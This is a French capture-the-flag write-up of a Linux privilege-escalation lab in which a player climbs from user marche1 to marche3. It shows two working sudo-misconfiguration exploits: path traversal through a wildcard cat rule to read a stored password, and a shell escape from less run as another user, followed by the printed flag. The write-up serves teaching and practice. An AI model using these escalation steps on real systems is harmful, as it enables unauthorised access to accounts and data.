# Marche-pied

**Flag:**

## Challenge

{% hint style="info" %}
**Description**

***

Bienvenue à cette introduction à l'escalade de privilèges sur système Linux !

Vous démarrez avec un compte symbolisé par une marche, et devez grimper les marches une par une jusqu'à arriver à la dernière disponible.

Chaque objet d'escalade possède un thème, qui vous sera utile à comprendre afin de grimper les marches !

***

Le marche-pied comporte trois marches : de **marche1** à **marche3**

La dernière marche possède un flag dans \~/flag.txt

Le thème du marche-pied est : **Switch User DO**



User: `marche1`

Password: `marche1`

***
{% endhint %}

{% hint style="warning" %}
Ce challenge tourne sur un docker et n'est pas disponible
{% endhint %}

## Solution

### Marche1 -> Marche2

On se connecte sur la machine en ssh avec les identifiants fournis :

```
$ ssh -p 15205 marche1@challenge5.cybernight-c.tf
```

On liste ce que l'on peut faire avec la commande **`sudo -l`** :

```
marche1@cf5a191e1c855c91:~$ sudo -l
Matching Defaults entries for marche1 on cf5a191e1c855c91:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User marche1 may run the following commands on cf5a191e1c855c91:
    (marche2) NOPASSWD: /bin/cat /home/marche2/config/*
```

On peut lancer la commande **`cat`** sur le dossier config de **marche2**, sauf que l'on peut lister le dossier de **marche2** :

```
marche1@cf5a191e1c855c91:~$ ll /home/marche2
total 40
drwxrwxr-x 1 marche2 marche2 4096 Nov 25 12:26 ./
drwxr-xr-x 1 root    root    4096 Nov  7 22:41 ../
-rw-r--r-- 1 marche2 marche2  220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 marche2 marche2 3771 Jan  6  2022 .bashrc
drwx------ 2 marche2 marche2 4096 Nov 25 12:26 .cache/
-rw-r--r-- 1 marche2 marche2  807 Jan  6  2022 .profile
drwxrwx--- 1 marche2 marche2 4096 Nov  7 22:41 config/
-rwxrwx--- 1 marche2 marche2   30 Nov  7 22:41 remember_password.txt*
```

L'exploit consiste donc à utiliser la commande **`cat`** sur le dossier config puis de remonter l'arborescence pour lire **`remember_password.txt`** :

```
marche1@cf5a191e1c855c91:~$ sudo -u marche2 cat /home/marche2/config/../remember_password.txt
WhatAStrongPasswordFormarche2
```

***

### Marche2 -> Marche3

On se connecte sur la machine en ssh avec les identifiants récupérés :

```
$ ssh -p 15205 marche2@challenge5.cybernight-c.tf
```

On liste ce que l'on peut faire avec la commande **`sudo -l`** :

```
marche1@cf5a191e1c855c91:~$ sudo -l
Matching Defaults entries for marche2 on cf5a191e1c855c91:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User marche2 may run the following commands on cf5a191e1c855c91:
    (marche3) NOPASSWD: /bin/less /home/marche3/message.txt
```

On peut lancer la commande **`less`** en tant que **marche3**, sauf que **`less`** permet de faire spawn un shell. On peut donc obtenir un shell en tant que **marche3**. Pour ça, une fois dans less, on entre **`!/bin/sh`** :

```
marche2@cf5a191e1c855c91:~$ sudo -u marche3 less /home/marche3/message.txt

Here is an important message for everyone: I got ratioed. I may be absent from office for a couple of years. Thanks for your understanding.
~
~
!/bin/sh

$ whoami
marche3
$ ls -al /home/marche3
total 32
drwxr-x--- 1 marche3 marche3 4096 Nov  7 22:41 .
drwxr-xr-x 1 root    root    4096 Nov  7 22:41 ..
-rw-r--r-- 1 marche3 marche3  220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 marche3 marche3 3771 Jan  6  2022 .bashrc
-rw-r--r-- 1 marche3 marche3  807 Jan  6  2022 .profile
-rw-r--r-- 1 marche3 marche3   44 Nov  7 22:41 flag.txt
-rw-r--r-- 1 marche3 marche3  140 Nov  7 22:41 message.txt
$ cat /home/marche3/flag.txt
CYBN{Mak3_SUr3_T0_coNF1Gur3_sUD0_C0rr3C7ly}
```
